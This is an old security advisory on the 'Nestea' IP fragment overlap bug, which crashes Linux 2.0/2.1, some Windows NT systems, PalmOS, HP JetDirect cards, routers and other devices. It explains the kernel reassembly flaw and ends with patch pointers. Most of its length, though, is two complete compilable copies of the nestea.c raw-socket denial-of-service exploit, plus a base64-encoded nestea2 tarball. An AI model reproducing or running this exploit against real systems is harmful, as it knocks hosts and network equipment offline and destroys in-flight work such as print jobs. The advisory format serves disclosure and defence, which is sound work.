COMMAND

    IP fragment overlap

SYSTEMS AFFECTED

    Linux, 2.0.x, 2.1.x, Win NT, PalmOS 2.0.4 (at least), 3COM router,
    Magnum 5000 Ethernet-Switch, HP Jet Direct, Lexmark printers,  USR
    Netserver 8/16 V.34, Netserver 16/I-modem v4.1.82, FreeBSD 3.0-R

PROBLEM

    Following info is based on  original Rhino9 advisory #9 and  it is
    expanded with additional informations.  It talks about another  IP
    fragment overlap.  This one  is called 'Nestea' and it's  primarly
    for   Linux   (yet   explained   as   Linux   Oversized   Fragment
    Vulnerability) even  can crash  NT box  without right  patches and
    PalmOS.

    There is  a certain  function (ip_glue)  in the  linux kernel that
    attempts to reassemble a fragmented datagram before passing it  up
    to the upper layers of the ip stack.  This function will determine
    if any particular fragment goes past the allocated memory for  the
    total buffer or has been miscalculated due to errors or oversights
    in the  initial assembly  code.   The comparison  statement in the
    linux  kernels  forgot  to  take  into  account the size of the ip
    header.  Since an ip header can reach up to 60 bytes, an  attacker
    is able to write over 60 bytes in the kernel, and probably cause a
    system crash.

    This  will  overwrite  important  data  structures  in  the kernel
    network code and cause the kernel to get very confused. This  will
    lead to a system crash or  a situation such a system that  must be
    rebooted.

    Andrew  Hobgood  added  how  PalmPilot  is  vulneravle too.  After
    cradling PalmPilot Pro, and establishing a PPP connection with  an
    MTU of 1500, he tried a  nestea of one packet against the  Pilot's
    IP.   After about  2 to  3 seconds,  the Pilot  popped up an error
    window like:

			  ______________________
			 |                      |
			 |                      |
			 |                      |
			 | ____________________ |
			 ||    Fatal Error     ||
			 ||~~~~~~~~~~~~~~~~~~~~||
			 || Fatal Exception    ||
			 ||       _____        ||
			 ||      (Reset)       ||
			 ||       ~~~~~        ||
			  ~~~~~~~~~~~~~~~~~~~~~~

    Reports also confirm that testing  nestea2 on a ip range  will end
    up dropping a 3COM router and  same effect goes for a Magnum  5000
    Ethernet-Switch with  actual firmware.   nestea and  nestea2 do  a
    number on HP Jet Direct printer cards (tested on a HP 5/si and a HP
    1600c with Jet Direct cards).  It locks up until power cycled  all
    of the print jobs  that are going to  them are lost.   The HP 5/si
    has  a  LCD  on  the  front  and  there  is  an error code that is
    displayed:

	80 SERVICE (01E6) CALL SERVICE

    This  number  changes  depending  on  how  my times it is hit with
    nestea2, which  seems odd  as if  one hit  kills it, what difrence
    would  it  make  hitting  it  with  10  and  why would it report a
    diffrent code.  Tests confirms  that this also effects Direct  Jet
    EX 3 (perhaps all HP JetDirect products are effected).

    Vesselin Mladenov added.  USR Netserver 8/16 V.34, running version
    2.0.14 OS  is vulnerable  to nestea  DoS attack  too.   In 10%  of
    cases netserver was completely dead.  I attacked the NAS with  200
    repetitions of nestea. If you increase the repetition number,  you
    will  not  have  to  run  the  nestea  twice to kill the netserver
    completely.

    Exploit code  follows (v1 and v2 and BSD port of v1):

    // nestea.c by humble of rhino9 4/16/98
    // This exploits the "off by one ip header" bug in the linux ip frag code.
    // Crashes linux 2.0.* and 2.1.*  and some windows boxes
    // this code is a total rip of teardrop - it's messy
    // hi sygma

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>

    // bsd usage is currently broken because of socket options on the third sendto

    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
			    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else                   /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define MAGIC2  108
    #define PADDING 256    /* datagram frame padding for first packet */
    #define COUNT   500    /* we are overwriting a small number of bytes we
			    shouldnt have access to in the kernel.
			    to be safe, we should hit them till they die :>  */

    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);

    int main(int argc, char **argv)
    {
	int one = 1, count = 0, i, rip_sock;
	u_long  src_ip = 0, dst_ip = 0;
	u_short src_prt = 0, dst_prt = 0;
	struct in_addr addr;


	if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	{
	    perror("raw socket");
	    exit(1);
	}
	if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
	    < 0)
	{
	    perror("IP_HDRINCL");
	    exit(1);
	}
	if (argc < 3) usage(argv[0]);
	if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
	{
	    fprintf(stderr, "What the hell kind of IP address is that?\n");
	    exit(1);
	}

	while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
	{
	    switch (i)
	    {
		case 's':               /* source port (should be emphemeral) */
		    src_prt = (u_short)atoi(optarg);
		    break;
		case 't':               /* dest port (DNS, anyone?) */
		    dst_prt = (u_short)atoi(optarg);
		    break;
		case 'n':               /* number to send */
		    count   = atoi(optarg);
		    break;
		default :
		    usage(argv[0]);
		    break;              /* NOTREACHED */
	    }
	}
	srandom((unsigned)(time((time_t)0)));
	if (!src_prt) src_prt = (random() % 0xffff);
	if (!dst_prt) dst_prt = (random() % 0xffff);
	if (!count)   count   = COUNT;

	fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
	fprintf(stderr, "Death on flaxen wings (yet again):\n");
	addr.s_addr = src_ip;
	fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
	addr.s_addr = dst_ip;
	fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
	fprintf(stderr, " Amt: %5d\n", count);
	fprintf(stderr, "[ ");

	for (i = 0; i < count; i++)
	{
	    send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
	    fprintf(stderr, "b00m ");
	    usleep(500);
	}
	fprintf(stderr, "]\n");
	return (0);
    }

    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
		    u_short dst_prt)
    {
    int i;
	u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
	u_char byte;                            /* a byte */
	struct sockaddr_in sin;                 /* socket protocol structure */

	sin.sin_family      = AF_INET;
	sin.sin_port        = src_prt;
	sin.sin_addr.s_addr = dst_ip;

	packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
	p_ptr  = packet;
	bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

	byte = 0x45;                        /* IP version and header length */
	memcpy(p_ptr, &byte, sizeof(u_char));
	p_ptr += 2;                         /* IP TOS (skipped) */
	*((u_short *)p_ptr) = FIX(IPH + UDPH + 10);    /* total length */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(242);   /* IP id */
	p_ptr += 2;
	*((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0x40;         /* IP TTL */
	byte = IPPROTO_UDP;
	memcpy(p_ptr + 1, &byte, sizeof(u_char));
	p_ptr += 4;                         /* IP checksum filled in by kernel */
	*((u_long *)p_ptr) = src_ip;        /* IP source address */
	p_ptr += 4;
	*((u_long *)p_ptr) = dst_ip;        /* IP destination address */
	p_ptr += 4;
	*((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(8 + 10);   /* UDP total length */

	if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
		    sizeof(struct sockaddr)) == -1)
	{
	    perror("\nsendto");
	    free(packet);
	    exit(1);
	}

	p_ptr  = packet;
	bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

	byte = 0x45;                        /* IP version and header length */
	memcpy(p_ptr, &byte, sizeof(u_char));
	p_ptr += 2;                         /* IP TOS (skipped) */
	*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2);    /* total length */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(242);   /* IP id */
	p_ptr += 2;
	*((u_short *)p_ptr) = FIX(6);  /* IP frag flags and offset */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0x40;         /* IP TTL */
	byte = IPPROTO_UDP;
	memcpy(p_ptr + 1, &byte, sizeof(u_char));
	p_ptr += 4;                         /* IP checksum filled in by kernel */
	*((u_long *)p_ptr) = src_ip;        /* IP source address */
	p_ptr += 4;
	*((u_long *)p_ptr) = dst_ip;        /* IP destination address */
	p_ptr += 4;
	*((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(8 + MAGIC2);   /* UDP total length */

	if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
		    sizeof(struct sockaddr)) == -1)
	{
	    perror("\nsendto");
	    free(packet);
	    exit(1);
	}

	p_ptr  = packet;
	bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
	byte = 0x4F;                        /* IP version and header length */
	memcpy(p_ptr, &byte, sizeof(u_char));
	p_ptr += 2;                         /* IP TOS (skipped) */
	*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40);    /* total length */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(242);   /* IP id */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0 | FIX(IP_MF);  /* IP frag flags and offset */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0x40;         /* IP TTL */
	byte = IPPROTO_UDP;
	memcpy(p_ptr + 1, &byte, sizeof(u_char));
	p_ptr += 4;                         /* IP checksum filled in by kernel */
	*((u_long *)p_ptr) = src_ip;        /* IP source address */
	p_ptr += 4;
	*((u_long *)p_ptr) = dst_ip;        /* IP destination address */
	p_ptr += 44;
	*((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

	    for(i=0;i<PADDING;i++)
	    {
		    p_ptr[i++]=random()%255;
	    }

	if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
		    sizeof(struct sockaddr)) == -1)
	{
	    perror("\nsendto");
	    free(packet);
	    exit(1);
	}
	free(packet);
    }

    u_long name_resolve(u_char *host_name)
    {
	struct in_addr addr;
	struct hostent *host_ent;

	if ((addr.s_addr = inet_addr(host_name)) == -1)
	{
	    if (!(host_ent = gethostbyname(host_name))) return (0);
	    bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
	}
	return (addr.s_addr);
    }

    void usage(u_char *name)
    {
	fprintf(stderr,
		"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
		name);
	exit(0);
    }

    Shortly later,  nestea had  its v2  release (works  againt FreeBSD
    3.0-Release:

    ---
    Content-Type: application/octet-stream; name="nestea2.tgz"
    Content-Transfer-Encoding: base64
    Content-Disposition: inline; filename="nestea2.tgz"
    Content-MD5: OccyRmrZV1OH4TLPEAZNJg==

    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
    UGjGgPm9f0f28/p7Xv8HGvCuywBAAAA=

    -----


    The  original  nestea.c  does  not  work  unter  *BSD,  as the 3rd
    sendto() is incorrect.  Harold  Gutch fixed this, a nestea.c  that
    compiles under *BSD (tested under FreeBSD only) and _works_  there
    follows.  He also changed this  "STRANGE_BSD_BYTE_ORDERING_THING",
    so if you want  to compile it under  *BSD, a simple gcc  -o nestea
    nestea.c will work, for linux,  you will have to compile  it using
    gcc -DSTRANGE_LINSUX_BYTE_ORDERING_THING -o nestea nestea.c.

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>

    /* bsd usage works now, the original nestea.c was broken, because some braindead
     * linsux-c0d3r was too stupid to use sendto() correctly
     */

    #ifndef STRANGE_LINSUX_BYTE_ORDERING_THING
			    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else                   /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */

    #define IP_MF   0x2000  /* More IP fragment en route */
    #define IPH     0x14    /* IP header size */
    #define UDPH    0x8     /* UDP header size */
    #define MAGIC2  108
    #define PADDING 256    /* datagram frame padding for first packet */
    #define COUNT   500    /* we are overwriting a small number of bytes we
			    shouldnt have access to in the kernel.
			    to be safe, we should hit them till they die :>  */

    void usage(u_char *);
    u_long name_resolve(u_char *);
    u_short in_cksum(u_short *, int);
    void send_frags(int, u_long, u_long, u_short, u_short);

    int main(int argc, char **argv)
    {
	int one = 1, count = 0, i, rip_sock;
	u_long  src_ip = 0, dst_ip = 0;
	u_short src_prt = 0, dst_prt = 0;
	struct in_addr addr;


	if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
	{
	    perror("raw socket");
	    exit(1);
	}
	if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
	    < 0)
	{
	    perror("IP_HDRINCL");
	    exit(1);
	}
	if (argc < 3) usage(argv[0]);
	if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
	{
	    fprintf(stderr, "What the hell kind of IP address is that?\n");
	    exit(1);
	}

	while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
	{
	    switch (i)
	    {
		case 's':               /* source port (should be emphemeral) */
		    src_prt = (u_short)atoi(optarg);
		    break;
		case 't':               /* dest port (DNS, anyone?) */
		    dst_prt = (u_short)atoi(optarg);
		    break;
		case 'n':               /* number to send */
		    count   = atoi(optarg);
		    break;
		default :
		    usage(argv[0]);
		    break;              /* NOTREACHED */
	    }
	}
	srandom((unsigned)(time((time_t)0)));
	if (!src_prt) src_prt = (random() % 0xffff);
	if (!dst_prt) dst_prt = (random() % 0xffff);
	if (!count)   count   = COUNT;

	fprintf(stderr, "Nestea by humble\nCode ripped from teardrop by route / daemon9\n");
	fprintf(stderr, "Death on flaxen wings (yet again):\n");
	addr.s_addr = src_ip;
	fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
	addr.s_addr = dst_ip;
	fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
	fprintf(stderr, " Amt: %5d\n", count);
	fprintf(stderr, "[ ");

	for (i = 0; i < count; i++)
	{
	    send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
	    fprintf(stderr, "b00m ");
	    usleep(500);
	}
	fprintf(stderr, "]\n");
	return (0);
    }

    void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
		    u_short dst_prt)
    {
    int i;
	u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
	u_char byte;                            /* a byte */
	struct sockaddr_in sin;                 /* socket protocol structure */

	sin.sin_family      = AF_INET;
	sin.sin_port        = src_prt;
	sin.sin_addr.s_addr = dst_ip;

	packet = (u_char *)malloc(IPH + UDPH + PADDING+40);
	p_ptr  = packet;
	bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

	byte = 0x45;                        /* IP version and header length */
	memcpy(p_ptr, &byte, sizeof(u_char));
	p_ptr += 2;                         /* IP TOS (skipped) */
	*((u_short *)p_ptr) = FIX(IPH + UDPH + 10);    /* total length */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(242);   /* IP id */
	p_ptr += 2;
	*((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0x40;         /* IP TTL */
	byte = IPPROTO_UDP;
	memcpy(p_ptr + 1, &byte, sizeof(u_char));
	p_ptr += 4;                         /* IP checksum filled in by kernel */
	*((u_long *)p_ptr) = src_ip;        /* IP source address */
	p_ptr += 4;
	*((u_long *)p_ptr) = dst_ip;        /* IP destination address */
	p_ptr += 4;
	*((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(8 + 10);   /* UDP total length */

	if (sendto(sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *)&sin,
		    sizeof(struct sockaddr)) == -1)
	{
	    perror("\nsendto");
	    free(packet);
	    exit(1);
	}

	p_ptr  = packet;
	bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

	byte = 0x45;                        /* IP version and header length */
	memcpy(p_ptr, &byte, sizeof(u_char));
	p_ptr += 2;                         /* IP TOS (skipped) */
	*((u_short *)p_ptr) = FIX(IPH + UDPH + MAGIC2);    /* total length */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(242);   /* IP id */
	p_ptr += 2;
	*((u_short *)p_ptr) = FIX(6);  /* IP frag flags and offset */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0x40;         /* IP TTL */
	byte = IPPROTO_UDP;
	memcpy(p_ptr + 1, &byte, sizeof(u_char));
	p_ptr += 4;                         /* IP checksum filled in by kernel */
	*((u_long *)p_ptr) = src_ip;        /* IP source address */
	p_ptr += 4;
	*((u_long *)p_ptr) = dst_ip;        /* IP destination address */
	p_ptr += 4;
	*((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(8 + MAGIC2);   /* UDP total length */

	if (sendto(sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *)&sin,
		    sizeof(struct sockaddr)) == -1)
	{
	    perror("\nsendto");
	    free(packet);
	    exit(1);
	}

	p_ptr  = packet;
	bzero((u_char *)p_ptr, IPH + UDPH + PADDING+40);
	byte = 0x4F;                        /* IP version and header length */
	memcpy(p_ptr, &byte, sizeof(u_char));
	p_ptr += 2;                         /* IP TOS (skipped) */
	*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING+40);    /* total length */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(242);   /* IP id */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0 | FIX(IP_MF);  /* IP frag flags and offset */
	p_ptr += 2;
	*((u_short *)p_ptr) = 0x40;         /* IP TTL */
	byte = IPPROTO_UDP;
	memcpy(p_ptr + 1, &byte, sizeof(u_char));
	p_ptr += 4;                         /* IP checksum filled in by kernel */
	*((u_long *)p_ptr) = src_ip;        /* IP source address */
	p_ptr += 4;
	*((u_long *)p_ptr) = dst_ip;        /* IP destination address */
	p_ptr += 44;
	*((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
	p_ptr += 2;
	*((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */

	    for(i=0;i<PADDING;i++)
	    {
		    p_ptr[i++]=random()%255;
	    }

	if (sendto(sock, packet, IPH + UDPH + PADDING+40, 0, (struct sockaddr *)&sin,
		    sizeof(struct sockaddr)) == -1)
	{
	    perror("\nsendto");
	    free(packet);
	    exit(1);
	}
	free(packet);
    }

    u_long name_resolve(u_char *host_name)
    {
	struct in_addr addr;
	struct hostent *host_ent;

	if ((addr.s_addr = inet_addr(host_name)) == -1)
	{
	    if (!(host_ent = gethostbyname(host_name))) return (0);
	    bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
	}
	return (addr.s_addr);
    }

    void usage(u_char *name)
    {
	fprintf(stderr,
		"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
		name);
	exit(0);
    }

SOLUTION

    Linux 2.0.34 addresses this  issue.  The fix  for HP is simply  to
    unplug the thing for about 10 seconds and then plug it back.

    The Teardrop2-fix has now been posted for NT 3,5 and 4.0 i386  and
    Alpha platforms, postSP3 only. For links check the:

	http://www.ntbugtraq.com/ntfixes.asp

    page with the Language set  to USA, version to NT40,  processor as
    required, SP  version to  SP3 then  click the  "New" radio button.
    You may try standard MS location as well:

	ftp://ftp.microsoft.com
	/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/teardrop2-fix/
	/bussys/winnt/winnt-public/fixes/usa/NT351/hotfixes-postSP5/

